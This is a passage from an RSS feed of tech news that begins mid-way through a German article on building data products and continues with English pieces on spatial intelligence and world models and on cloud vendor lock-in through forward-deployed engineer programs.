<p class="wp-block-paragraph">Ein Ansatzpunkt besteht darin, das Data Product auf einen einzelnen Datensatz herunterzubrechen und sich zu überlegen, was es bedeutet, diesen zum Produkt zu machen. <a href="https://www.linkedin.com/in/dswbg" target="_blank" rel="noreferrer noopener">Danielle Ben-Gera</a>, Vice President of Engineering bei Crunchbase, erklärt: „Ein Datensatz sollte erst dann zu einem Datenprodukt werden, wenn sich mehrere Teams bei Entscheidungen – oder zum Support von Anwendungen – darauf verlassen.“</p>



<p class="wp-block-paragraph">Dabei seien eine angemessene Governance, klare Zuständigkeiten, Versionierungen und ein kontrollierter Lebenszyklus für Änderungen essenziell, warnt die Managerin: „Ansonsten liefert man nur instabile Pipelines aus, die die nachgelagerten Workflows zum Erliegen bringen.“</p>



<p class="wp-block-paragraph">Eine andere Überlegung, die zu Data Products führt, ist die Nutzung von Daten außerhalb der Governance. An dieser Stelle kann ein Datenprodukt einen taktischen Ansatz darstellen, wie <a href="https://www.linkedin.com/in/yaad-oren-77a7823" target="_blank" rel="noreferrer noopener">Yaad Oren</a>, Global Head of Research and Innovation bei SAP, nahelegt: „Wenn Datensätze teamübergreifend ohne strenge Governance, klar definierte Prozesse oder eindeutige Zuständigkeiten genutzt werden, ist Unternehmen zu empfehlen, ein Data Product zu entwickeln. Datenprodukte, die in einer einheitlichen Datenbasis verankert sind, beseitigen Silos, schaffen ein gemeinsames Verständnis über die Daten und etablieren einen sicheren, standardisierten Zugriff auf diese.“</p>



<p class="wp-block-paragraph">Eine dritte Möglichkeit, Datenprodukte strategisch zu nutzen, ist, diese für definierte Kunden in wiederverwendbarer Form zu entwickeln, um Effizienzgewinne einzufahren. Wenn ein solches Data Product erfordert, mehrere Datenquellen miteinander zu kombinieren, ist das Vision Statement und qualifizierter Business Value besonders wichtig. <a href="https://www.linkedin.com/in/christopherzangrilli" target="_blank" rel="noreferrer noopener">Christopher Zangrilli</a>, Vice President of Technology Strategy beim Compliance-Dienstleister Vertex, erklärt: „Führungskräfte sollten sich fragen, ob die Daten die Cycle Times optimieren, die Entscheidungsgenauigkeit verbessern oder Compliance-Risiken mindern, um den Business Impact einzuordnen. Wenn Governance, Change Management, Qualität und Messverfahren von Beginn an integriert sind, wandeln sich Datenprodukte von experimentellen Tools zu strategischen Ressourcen.“</p>



<h2 class="wp-block-heading">2. Datenprodukte standardisieren</h2>



<p class="wp-block-paragraph">Produkte im Supermarkt sind mit einer Verpackung versehen, auf der eine detaillierte Liste der Inhaltsstoffe, ein Verfallsdatum und ein Preis angegeben sind. Ganz ähnlich sollten Data-Governance-Verantwortliche vorgehen – und standardisieren, wie Data Products definiert, katalogisiert und gemanagt werden. Wie und warum, erklärt <a href="https://www.linkedin.com/in/abhisharmab" target="_blank" rel="noreferrer noopener">Abhi Sharma</a>, Mitbegründer und CEO des KI-Anbieters Relyance AI: „Jedes moderne Datenprodukt sollte vier Fragen klar beantworten: Woher stammen die Daten, wie werden sie systemübergreifend transformiert, wer oder was nutzt sie und welche Governance-Verpflichtungen fallen dabei an? Ohne diesen durchgängigen Kontext entwickeln Teams Funktionen auf der Grundlage von Daten, die sie nicht vollständig verstehen.“</p>



<p class="wp-block-paragraph">Obwohl Lebensmittelhersteller ihre Inhaltsstoffe veröffentlichen und mit Blick auf Gefahren wie allergische Reaktionen kennzeichnen, dokumentieren nur wenige die Herkunft ihrer Rohstoffe und welchen Weg diese vom Erzeuger zum Händler nehmen. Geht es darum, Data Products in streng regulierten Branchen zu entwickeln, kann es allerdings erforderlich sein, genau das zu tun – und die <a href="https://www.computerwoche.de/article/2804614/was-ist-data-lineage.html" target="_blank">Data Lineage</a> zu erfassen. Besonders wichtig ist das, wenn es darum geht, Datenquellen für KI-Applikationen zu standardisieren.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/carterpage" target="_blank" rel="noreferrer noopener">Carter Page</a>, Executive Vice President of Research and Development beim Dev-Spezialisten Astronomer, weiß, was anderenfalls droht: „Ohne Data Lineage arbeiten Teams im Blindflug und Governance verkommt zu reaktiver Fehlerbehebung. Wenn Teams dagegen nachvollziehen können, woher die Daten stammen, wie sie transformiert wurden und welche Systeme darauf angewiesen sind, werden Aktualisierungen vorhersehbar, die richtigen Pipelines getestet, die betroffenen Stakeholder benachrichtigt und grundlegende Änderungen dokumentiert. Bevor es dadurch zu Incidents kommt.“</p>



<h2 class="wp-block-heading">3. Data Products nachhaltig managen</h2>



<p class="wp-block-paragraph">Lebenszyklusmanagement erfordert bei <a href="https://www.computerwoche.de/article/4004872/die-besten-apis-um-ki-zu-integrieren.html" target="_blank">APIs</a>, Anwendungen oder KI-Modellen, einen Release-Plan für Optimierungen, Fehlerbehebungen und andere notwendige Updates festzulegen. Geht es hingegen um Datenprodukte, kommen mehrere, verwandte Disziplinen zusammen, wie <a href="https://www.linkedin.com/in/ulf-viney-2618a" target="_blank" rel="noreferrer noopener">Ulf Viney</a>, EVP of Engineering beim KI-Datenspezialisten Precisely, erklärt: „Um den Lebenszyklus von Data Products zu managen, braucht es Versionierung, Testing, strukturierte Deployments und Stakeolder-Kommunikation.“</p>



<p class="wp-block-paragraph">Ein weiterer grundlegender Unterschied bei Datenprodukten: Ihr Lifecycle Management ist eng damit verbunden, wie die zugrundeliegenden Datensätze wachsen – beziehungsweise, welche strukturelle Veränderungen diese durchlaufen. Ein Data Product, das zwar funktioniert, aber nicht veränderungsresistent ist oder keine Warnmeldungen ausgibt, wenn Fehlerbehebungen erforderlich sind, kann nachgelagerte Anwendungsfälle beeinträchtigen und das Vertrauen der Stakeholder und Nutzer in die Daten untergraben. Insbesondere letzteres gilt es zu verhindern. Wie, weiß <a href="https://www.linkedin.com/in/bethanysehon" target="_blank" rel="noreferrer noopener">Bethany Sehon</a>, Senior Director of Enterprise Data bei Capital One: „Ein nachhaltiges und skalierbares <a href="https://www.computerwoche.de/article/4030328/so-verandert-ki-ihre-grc-strategie.html" target="_blank">Governance-Framework</a> kann sicherstellen, dass Daten leicht zu finden, zu verstehen und zu nutzen sind.“</p>



<p class="wp-block-paragraph">Teams, die geschäftskritische Echtzeit-Datenprodukte managen, die mehrere nachgelagerte Analytics- und KI-Anwendungsfälle unterfüttern, sind die folgenden DevOps- und Data-Governance-Praktiken zu empfehlen:</p>



<ul class="wp-block-list">
<li>Legen Sie <strong>unverhandelbare Data-Governance-Kriterien</strong> fest – insbesondere, wenn es darum geht, Datenqualitäts-Benchmarks zu setzen, etwaige Verzerrungen zu identifizieren und Datenschutzrichtlinien einzuhalten.</li>



<li>Nutzen Sie <strong>fortschrittliche CI/CD-Pipelines</strong>, <strong>Continuous Deployment</strong> sowie <strong>Continuous Testing</strong> und automatisieren Sie Produktions-Deployments.</li>



<li>Stellen Sie sicher, dass sämtliche Datenintegrationen über <strong>„observable“ DataOps</strong> verfügen, Datenqualitätsprobleme überprüft werden und Alerts ausgesendet werden, wenn die Pipelines zum Erliegen kommen. Um Requests und Incidents zu bearbeiten, sollten IT-Services zudem entsprechend definiert werden.</li>



<li>Stützen Sie sich auf <strong>Plattform-Strategien</strong> wenn es um Datenmanagement geht – zum Beispiel im Hinblick auf Data Fabrics, <a href="https://www.computerwoche.de/article/3493645/data-security-posture-management-die-besten-dspm-tools.html" target="_blank">DSPM</a>, Dokumentenverarbeitung und Vektordatenbanken.</li>
</ul>



<h2 class="wp-block-heading">4. Datenprodukte verargumentieren</h2>



<p class="wp-block-paragraph">Ein Data Product auf die Beine zu stellen, ist leider kein Garant dafür, dass dieses auch angenommen wird. Das verdeutlichen auch die Beispiele von Reusable Code, API-Nutzung oder DevOps-Tools: Sie alle zielten darauf ab, Entwicklern das Arbeitsleben leichter zu machen und die Qualität zu verbessern. Trotzdem nahmen viele Teams lieber eine „Not invented here“-Haltung ein und setzten lieber auf Eigenentwicklungen statt die Standards anderer.</p>



<p class="wp-block-paragraph">Datenprodukte stehen allerdings vor noch größeren Herausforderungen. Ganz besonders, wenn sie darauf abzielen, Datensilos zu konsolidieren oder Tabellenkalkulationen zu eliminieren. Um die Akzetanz zu fördern (und Feedback einzuholen), sollten die für die jeweiligen Data Products verantwortlichen Produktmanager deshalb ein <a href="https://www.computerwoche.de/article/2797747/mit-dem-richtigen-change-modell-zum-ziel.html" target="_blank">Change-Management-Programm</a> entwickeln. Förderlich ist dabei, darzulegen, wie das Datenprodukt auf den kulturellen Change und die KI-Strategie des Unternehmens einzahlt – etwa indem es die Demokratisierung von KI vorantreibt und die Kompetenz im Umgang mit der Technologie optimiert.</p>



<h2 class="wp-block-heading">5. Data Products richtig evaluieren</h2>



<p class="wp-block-paragraph">Der Geschäftswert eines kundenorientierten Produkts wird häufig gemessen anhand der <strong>Auswirkungen auf den Umsatz</strong>, der <strong>Nutzungs-Metriken</strong> sowie der <strong>Kundenzufriedenheit</strong>. Interne, mitarbeiterorientierte Produkte lassen sich hingegen anhand ihrer <strong>Workflow-Effizienz</strong>, ihrem Potenzial für <strong>Produktivitätssteigerungen</strong> und der <strong>Mitarbeiterzufriedenheit</strong> evaluieren.</p>



<p class="wp-block-paragraph">„Zu viele Unternehmen behandeln Datenprodukte immer noch als technische Outputs und nicht als strategische Assets“, kritisiert <a href="https://www.linkedin.com/in/dziv1" target="_blank" rel="noreferrer noopener">Daniel Ziv</a>, Global Vice President of AI and Analytics beim KI-Anbieter Verint. Der wahre Wert von Data Products lasse sich daran ablesen, wie einzigartig die generierten Daten sind, wie viel messbaren Einfluss sie auf Entscheidungen nehmen, meint der Manager: „Wenn jedes Unternehmen Zugang zu denselben KI-Modellen hat, ergibt sich der Wettbewerbsvorteil aus ‚uniquen‘ Daten und der Geschwindigkeit, mit der diese in Maßnahmen umgesetzt werden können.“</p>



<p class="wp-block-paragraph">Eine Best Practice auf die IT-Entscheider in diesem Zusammenhang zurückgreifen können, ist es, <a href="https://www.forbes.com/sites/betsyatkins/2019/04/16/board-of-directors-and-the-digital-revolution/" target="_blank" rel="noreferrer noopener">Metriken heranzuziehen</a>, die Aufschluss über die Geschwindigkeit digitaler Transformationsvorhaben geben. Dazu gehören etwa:  </p>



<ul class="wp-block-list">
<li>„Time to Data“,</li>



<li>„Time to Decision“,</li>



<li>„Time to Innovation“, und</li>



<li>„Time to Value“.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist </strong><a href="https://www.infoworld.com/article/4192856/five-tips-for-developing-data-products.html" target="_blank"><strong>im Original</strong></a><strong> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
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<title><![CDATA[A look at spatial intelligence and world models]]></title>
<description><![CDATA[It’s been several years since generative AI and large language models (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while diffusion models enabled generating images, music, and videos.



These generative AI models work well in the digital wor...]]></description>
<link>https://tsecurity.de/de/3672181/ai-nachrichten/a-look-at-spatial-intelligence-and-world-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672181/ai-nachrichten/a-look-at-spatial-intelligence-and-world-models/</guid>
<pubDate>Thu, 16 Jul 2026 03:48:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<p class="wp-block-paragraph">It’s been several years since <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> and <a href="https://www.understandingai.org/p/large-language-models-explained-with">large language models</a> (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while <a href="https://www.technologyreview.com/2025/09/12/1123562/how-do-ai-models-generate-videos/">diffusion models</a> enabled generating images, music, and videos.</p>



<p class="wp-block-paragraph">These generative AI models work well in the digital world, but on their own, they have limited capabilities to comprehend the three-dimensional physical world and other spaces. This includes the objects occupying an area, how they relate to each other, tracking movement, and answering complex questions requiring an understanding of dimensions, distances, motion, and collisions.</p>



<p class="wp-block-paragraph">Spatial intelligence is an AI capability that allows models to reason about three-dimensional space. These models can generate 3D scenes of the world and other spaces. This content can then be displayed through traditional renderers, game engines, or AR/VR systems that use <a href="https://builtin.com/hardware/spatial-computing">spatial computing</a> techniques. But it’s the spatial intelligence model’s ability to connect natural language with 3D models that has the most applications in robotics, manufacturing, construction, and other physical environments.   </p>



<p class="wp-block-paragraph">Dr. Fei-Fei Li, often called the <a href="https://profiles.stanford.edu/fei-fei-li">godmother of AI</a>, published a manifesto on <a href="https://drfeifei.substack.com/p/from-words-to-worlds-spatial-intelligence">how spatial intelligence is AI’s next frontier</a>, contrasting it with LLMs. “While current state-of-the-art AI can excel at reading, writing, research, and pattern recognition in data, these same models bear fundamental limitations when representing or interacting with the physical world,” wrote Dr. Li. “Our view of the world is holistic—not just what we’re looking at, but how everything relates spatially, what it means, and why it matters. Understanding this through imagination, reasoning, creation, and interaction—not just descriptions—is the power of spatial intelligence.”</p>



<p class="wp-block-paragraph">The concept of spatial intelligence isn’t new and was described in Howard Gardner’s book, <em><a href="https://www.amazon.com/Frames-Mind-Theory-Multiple-Intelligences-ebook/dp/B004MYFV0E/">Frames of Mind</a></em>, in 1983. Recent breakthroughs, including the launch of <a href="https://marble.worldlabs.ai/">World Labs’ Marble</a> and its <a href="https://www.worldlabs.ai/blog/funding-2026">$1 billion funding round</a>, and competing approaches from <a href="https://deepmind.google/models/genie/">Google’s Genie 3</a> and <a href="https://www.nvidia.com/en-us/ai/cosmos/">Nvidia Cosmos</a>, should put spatial intelligence and world models on more R&amp;D road maps.</p>



<h2 class="wp-block-heading">What are spatial intelligence models?</h2>



<p class="wp-block-paragraph">It’s important to <a href="https://drive.starcio.com/2026/02/ai-literacy-a-leadership-guide/">develop AI literacy</a> and understand the terminology and concepts related to the physical world and 3D AI technologies: </p>



<ul class="wp-block-list">
<li>Spatial intelligence encompasses specialized approaches such as <a href="https://science.nasa.gov/science-research/ai-foundation-model-in-orbit/">geospatial models</a> for mapping the physical world and <a href="https://link.springer.com/article/10.1007/s44290-025-00342-5">building information modeling</a> (BIM) for modeling physical structures. It also extends to generative 3D, robotics, and physical reasoning applications.</li>



<li>World models are a class of <a href="https://www.ibm.com/think/topics/neural-networks">neural network architectures</a> and are currently a prominent approach to building spatial intelligence.</li>



<li><a href="https://www.infoworld.com/article/3693092/7-steps-to-take-before-developing-digital-twins.html">Digital twins</a> are live, virtual replicas of physical assets that combine 3D models with real-time sensor data. Spatial intelligence, an emerging capability of digital twins, adds natural-language prompting, generative scenario exploration, and physics-aware reasoning.</li>



<li><a href="https://treeview.studio/blog/top-examples-of-spatial-computing">Spatial computing</a> refers to digital content anchored in and interacting with physical space, sensed and rendered in three dimensions and delivered through AR/VR and mixed-reality systems.</li>
</ul>



<p class="wp-block-paragraph">“Spatial intelligence models go beyond pixels to understand the 3D structure of the world—how objects are positioned, how they move, and how they interact,” says David Fattal, founder and CTO at <a href="https://immersity.ai/">Leia</a>. “This enables applications like more realistic video generation, spatial computing interfaces, and AI systems that can reason about physical environments. As real-world 3D data becomes more available, these models will become foundational to the next generation of visual AI.”</p>



<h2 class="wp-block-heading">Monitoring the built environment</h2>



<p class="wp-block-paragraph">To better understand spatial intelligence, let’s consider physical infrastructure such as bridges and buildings. The American Society of Civil Engineers <a href="https://www.enr.com/articles/62214-infrastructure-gains-in-new-asce-report-cardbut-progress-hinges-on-post-2026-funds">estimates a $9.1 trillion investment</a> is needed from 2024 through 2033 to achieve a state of good repair. When maintenance and monitoring lag, it can lead to major failures such as <a href="https://www.ntsb.gov/news/press-releases/Pages/NR20240221.aspx">the 2022 collapse of the Fern Hollow Bridge in Pittsburgh</a>.</p>



<p class="wp-block-paragraph">Spatial intelligence and the development of digital twins may help identify issues earlier and prioritize where investments are needed. “Spatial intelligence models serve as the 4D digital blueprints for our built environment, allowing us to visualize and predict the complex interactions between aging assets and the shifting ground beneath them,” says Patrick Cozzi, chief platform officer at <a href="https://www.bentley.com/">Bentley Systems</a>. “By synthesizing disparate geospatial data into a living digital twin, these models provide the foresight necessary to mitigate the hidden risks of structural fatigue and subsurface instability.”</p>



<p class="wp-block-paragraph">There’s a significant challenge in <a href="https://www.mdpi.com/1424-8220/21/13/4336">bridge health monitoring</a> and transitioning from manual, infrequent structural inspections to leveraging sensors, digital twins, and spatial intelligence. Cozzi adds, “This integration of continuous field data moves beyond static documentation, empowering agencies to evolve from reactive repairs to proactive, resilient asset management that safeguards the long-term integrity of our most critical public systems.”</p>



<h2 class="wp-block-heading">Avoiding collisions</h2>



<p class="wp-block-paragraph">Bridges are largely static, but the real world is increasingly being occupied by autonomous systems such as self-driving cars, robots, and drones. And where there are moving systems, there is a risk of collisions.</p>



<p class="wp-block-paragraph">“Spatial intelligence models are AI systems that reason about the physical world by combining vision, sensor data, and contextual cues to understand space, motion, and object relationships,” says Sudeep George, CTO at <a href="https://imerit.net/">iMerit</a>. “The value of spatial intelligence models lies not just in perceiving an environment, but in enabling machines to act within it safely and in real time. That is especially important in robotics and autonomous systems, where decisions must be made in complex, multimodal, fast-changing settings.”</p>



<p class="wp-block-paragraph">To see one example, this tutorial for <a href="https://developer.nvidia.com/blog/simulate-robotic-environments-faster-with-nvidia-isaac-sim-and-world-labs-marble">simulating robotic environments</a> combines <a href="https://developer.nvidia.com/isaac/sim?size=n_6_n&amp;sort-field=featured&amp;sort-direction=desc">Nvidia Isaac Sim</a>, an open source robotics reference framework, with spatial intelligence in Marble from World Labs. </p>



<p class="wp-block-paragraph">Today’s collision detection systems, such as <a href="https://arxiv.org/html/2508.20892v1">those used in autonomous vehicles</a>, typically rely on modules for sensing, perception, planning, and control. Spatial intelligence models may offer improvements by assessing the collision risks of unidentified objects or by tracking objects that move out of sensor view. For example, <a href="https://waymo.com/blog/2026/02/the-waymo-world-model-a-new-frontier-for-autonomous-driving-simulation/">Waymo’s World Model</a>, built on Genie 3, is a simulator that generates complex weather conditions and other critical safety events.</p>



<p class="wp-block-paragraph">For an out-of-this-world example, James Urquhart, field CTO and technology evangelist at <a href="https://www.kamiwaza.ai/">Kamiwaza</a>, has delivered several examples of spatial intelligence applications, including one for satellite collision detection and conflict analysis. Urquhart says, “Models that specialize in these types of data sets, as well as the physics and geography of the real world, enable faster and more accurate decision-making for tasks that depend on them.”</p>



<h2 class="wp-block-heading">Applying spatial intelligence</h2>



<p class="wp-block-paragraph">Recent spatial intelligence announcements include creating 3D worlds from image or text prompts with <a href="https://www.worldlabs.ai/blog/marble-world-model">Marble</a> and simulating water physics, lighting, weather, and animal behavior with <a href="https://wavespeed.ai/blog/posts/google-deepmind-genie-3-world-model-2026/">Genie 3</a>. But difficulties remain in bringing spatial intelligence to physical-world use cases.</p>



<p class="wp-block-paragraph">“Spatial intelligence and world models are laying the groundwork for future AI agents that will be able to interact in and with our physical world,” says Jason Corso, cofounder and chief scientist at <a href="https://voxel51.com/">Voxel51</a>. “These models are significantly more challenging to develop and test, largely because the data underlying their development is complex, and it’s hard to handle all of the combinatorics involved in the physical world.”</p>



<p class="wp-block-paragraph">In addition to learning the models and prototyping with them, development and data leaders need to review the data assets that will feed spatial intelligence models. “Spatial intelligence models translate location signals into a structured understanding of the real world, but they’re only as reliable as the data beneath them,” says Dan Adams, executive vice president and general manager of Enrich at <a href="https://www.precisely.com/">Precisely</a>. “The real unlock isn’t the model—it’s the reference layer with persistent identifiers, confidence metadata, and source lineage that lets AI reason about places, not just match strings.”</p>



<p class="wp-block-paragraph">Even once applications are developed, there will be infrastructure challenges in deploying them at the edge. Ali Kayyam, principal research scientist at <a href="https://brainchip.com/">BrainChip</a>, says, “The key to unlocking spatial intelligence at scale is having the low-power, event-driven hardware that can run it at the sensor in real time where it matters most.”</p>



<h2 class="wp-block-heading">Where to get started</h2>



<p class="wp-block-paragraph">My suggestions for developers looking to get hands-on with spatial intelligence and world models:</p>



<ul class="wp-block-list">
<li>To try out Marble, review their <a href="https://docs.worldlabs.ai/api">API documentation</a> and <a href="https://www.worldlabs.ai/labs">case studies</a>, and then experiment with a <a href="https://github.com/willemhelmet/marble-api-quickstart">developer-focused React application</a>.</li>



<li>Review the Nvidia Cosmos <a href="https://developer.nvidia.com/cosmos">developer hub</a>, <a href="https://docs.nvidia.com/cosmos/latest/introduction.html">documentation</a>, and <a href="https://nvidia-cosmos.github.io/cosmos-cookbook/">cookbook</a> of case studies and learning paths.</li>



<li>You can get an overview of Genie 3, but access is currently restricted through Project Genie, which requires a <a href="https://gemini.google/subscriptions/">Google AI Ultra subscription</a>.</li>
</ul>
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<title><![CDATA[Towards demystifying the creativity of diffusion models]]></title>
<description><![CDATA[Algorithms & Theory]]></description>
<link>https://tsecurity.de/de/3671601/ai-nachrichten/towards-demystifying-the-creativity-of-diffusion-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671601/ai-nachrichten/towards-demystifying-the-creativity-of-diffusion-models/</guid>
<pubDate>Wed, 15 Jul 2026 20:18:44 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Algorithms &amp; Theory]]></content:encoded>
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<title><![CDATA[A cloud deal too good to be true]]></title>
<description><![CDATA[The model of the forward deployed engineer is sweeping through enterprise IT like a gold rush, and I’m concerned that many companies don’t understand what they’re signing up for.



Let’s start with the headline numbers. AWS announced a $1 billion investment in a new Forward Deployed Engineering ...]]></description>
<link>https://tsecurity.de/de/3671160/ai-nachrichten/a-cloud-deal-too-good-to-be-true/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671160/ai-nachrichten/a-cloud-deal-too-good-to-be-true/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">The model of the forward deployed engineer is sweeping through enterprise IT like a gold rush, and I’m concerned that many companies don’t understand what they’re signing up for.</p>



<p class="wp-block-paragraph">Let’s start with the headline numbers. <a href="https://www.aboutamazon.com/news/aws/aws-1-billion-forward-deployed-ai-engineers">AWS announced a $1 billion investment</a> in a new Forward Deployed Engineering organization. Google Cloud committed $750 million to expand similar programs. <a href="https://newsroom.accenture.com/news/2026/accenture-launches-microsoft-forward-deployed-engineering-practice-to-help-organizations-scale-ai-across-the-enterprise">Microsoft has been running Azure-focused embedded engineering teams for years</a>, including partnerships with Accenture to scale forward deployed engineering practices. All three are pitching the same story: We’ll send engineers to work directly with your teams, help you deploy AI, and accelerate your <a href="https://www.cio.com/article/230425/what-is-digital-transformation-a-necessary-disruption.html">digital transformation</a>. You get top-tier technical talent for free, and we get to partner with you on your journey.</p>



<p class="wp-block-paragraph">It sounds reasonable on the surface. It sounds collaborative, even generous. But I’ve been in this industry long enough to know that when a multi-billion-dollar company offers you something for free, they’re sure to get much more than they give.</p>



<h2 class="wp-block-heading">What you actually get</h2>



<p class="wp-block-paragraph">The forward deployed engineer model isn’t new. The consulting industry has been doing some version of it for decades. What makes this different is the scale and the direct financial incentive behind it. </p>



<p class="wp-block-paragraph">These engineers work for the cloud provider. They’re not your employees. They’re not independent consultants. They’re technically excellent professionals who are being paid to solve your immediate problems while simultaneously building relationships and architectures that favor their employer’s ecosystem. Think about it from their perspective. Those forward engineers are evaluated on whether customers succeed with their employer’s platform. They’re rewarded when enterprises adopt more services from that platform. Their career advancement depends on making AWS, Google Cloud, or Microsoft Azure the obvious choice for all of your technical decisions.</p>



<p class="wp-block-paragraph">This isn’t a criticism of the individual engineers. Many of them are genuinely talented and genuinely want to help. But they’re operating within a system that rewards specific outcomes, and those outcomes align with the vendor’s financial interests, not necessarily yours.</p>



<h2 class="wp-block-heading">The problem no one talks about</h2>



<p class="wp-block-paragraph">Here’s what I see happening at enterprises right now. A company decides they need help deploying AI. A cloud provider offers to embed engineers at no additional cost. Those engineers work alongside internal teams, make architectural recommendations, and help build out systems. Six months later, the company has a production AI system running on a single cloud platform, built by people with deep expertise in that specific platform.</p>



<p class="wp-block-paragraph">The problem? Nobody evaluated whether that platform was actually the best choice for the business. Nobody looked at alternatives. Nobody asked whether a <a href="https://www.infoworld.com/article/3584433/are-you-ready-for-multicloud-a-checklist.html">multicloud </a>architecture or best-of-breed approach might deliver better results at lower cost.</p>



<p class="wp-block-paragraph">The engineers embedded in these programs are not going to recommend that you split your workloads across providers. They’re not going to suggest you use <a href="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html">open source</a> tools where they make sense. They’re not going to point you toward a competitor when their employer’s solution will work well enough. That’s not how these programs are designed to function. What you’re getting is optimized architecture for a single cloud brand, not optimized architecture for your business.</p>



<h2 class="wp-block-heading">The financial reality will hit</h2>



<p class="wp-block-paragraph">The bills are going to come due, and they’re going to be painful. I’ve watched this pattern play out before. When enterprises lock into a single cloud provider through these embedded engineering programs, they often discover two or three years later that they’re paying premiums that their more independent-thinking competitors avoided.</p>



<p class="wp-block-paragraph">The reasons are straightforward. When you’re architecting systems around a single platform, you naturally fall into usage patterns that favor that platform’s pricing structures. You use their managed databases instead of portable alternatives. You adopt their AI services instead of evaluating third-party options. You build workflows that only work within their ecosystem. And when it comes time to renegotiate or benchmark against alternatives, you find that migrating would cost more than accepting whatever pricing they offer.</p>



<p class="wp-block-paragraph">I’ve spent the past decade helping companies untangle from these situations. I’ve seen organizations with cloud bills 15 to 20 times higher than they should be, unable to migrate because their entire AI infrastructure is built on proprietary services that only work on one platform. The forward deployed engineer programs are accelerating this problem. They’re making it easier to get into these situations and harder to get out.</p>



<h2 class="wp-block-heading">Think before you commit</h2>



<p class="wp-block-paragraph">Before you accept one of these programs, consider these three recommendations.</p>



<p class="wp-block-paragraph"><strong>First, require independent architecture oversight</strong> from day one. Hire or engage architects who work for your company, not for your cloud provider. They should evaluate every recommendation made by embedded engineers against business requirements and compare options across providers. This isn’t about being suspicious of the engineers. It’s about ensuring that decisions are made with your interests in mind.</p>



<p class="wp-block-paragraph"><strong>Second, demand a clear exit strategy</strong> before you begin. Ask the cloud provider to document which proprietary services you’re using, what migration paths exist, and what the cost would be to move to an alternative platform. If they can’t provide that information, or if the migration costs seem impossibly high, that’s a sign that you’re building technical debt that will be very expensive to service later.</p>



<p class="wp-block-paragraph"><strong>Third, benchmark your costs</strong> continuously. Set up internal processes to compare your cloud spending against industry benchmarks and against what your competitors might be paying for similar workloads. Don’t wait until your contract renewal to discover that you’re paying premium prices. Monitor expenses from the beginning, and be willing to challenge your cloud provider if you’re not getting value that justifies the cost.</p>



<h2 class="wp-block-heading">The bottom line</h2>



<p class="wp-block-paragraph">The forward deployed engineers are solving real problems. Enterprises genuinely struggle with AI deployment, and having experienced engineers available to help is valuable. I’m not suggesting these programs are fundamentally bad. However, they’re being marketed as neutral partnerships when they’re actually strategic sales programs designed to lock enterprises into specific platforms. The helpful engineers showing up at your office are building dependencies that will be very difficult to break. The “free” technical assistance is being funded by margins on services you’ll be buying for years.</p>



<p class="wp-block-paragraph">Go in with your eyes open. Use these programs but add your own independent oversight. Build architectures that you could leave if you needed to. And don’t let the immediate satisfaction of having problems solved today blind you to the financial consequences that will arrive tomorrow.</p>
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<title><![CDATA[The rise of spatial intelligence and world models]]></title>
<description><![CDATA[It’s been several years since generative AI and large language models (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while diffusion models enabled generating images, music, and videos.



These generative AI models work well in the digital wor...]]></description>
<link>https://tsecurity.de/de/3671159/ai-nachrichten/the-rise-of-spatial-intelligence-and-world-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671159/ai-nachrichten/the-rise-of-spatial-intelligence-and-world-models/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<p class="wp-block-paragraph">It’s been several years since <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> and <a href="https://www.understandingai.org/p/large-language-models-explained-with">large language models</a> (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while <a href="https://www.technologyreview.com/2025/09/12/1123562/how-do-ai-models-generate-videos/">diffusion models</a> enabled generating images, music, and videos.</p>



<p class="wp-block-paragraph">These generative AI models work well in the digital world, but on their own, they have limited capabilities to comprehend the three-dimensional physical world and other spaces. This includes the objects occupying an area, how they relate to each other, tracking movement, and answering complex questions requiring an understanding of dimensions, distances, motion, and collisions.</p>



<p class="wp-block-paragraph">Spatial intelligence is an AI capability that allows models to reason about three-dimensional space. These models can generate 3D scenes of the world and other spaces. This content can then be displayed through traditional renderers, game engines, or AR/VR systems that use <a href="https://builtin.com/hardware/spatial-computing">spatial computing</a> techniques. But it’s the spatial intelligence model’s ability to connect natural language with 3D models that has the most applications in robotics, manufacturing, construction, and other physical environments.   </p>



<p class="wp-block-paragraph">Dr. Fei-Fei Li, often called the <a href="https://profiles.stanford.edu/fei-fei-li">godmother of AI</a>, published a manifesto on <a href="https://drfeifei.substack.com/p/from-words-to-worlds-spatial-intelligence">how spatial intelligence is AI’s next frontier</a>, contrasting it with LLMs. “While current state-of-the-art AI can excel at reading, writing, research, and pattern recognition in data, these same models bear fundamental limitations when representing or interacting with the physical world,” wrote Dr. Li. “Our view of the world is holistic—not just what we’re looking at, but how everything relates spatially, what it means, and why it matters. Understanding this through imagination, reasoning, creation, and interaction—not just descriptions—is the power of spatial intelligence.”</p>



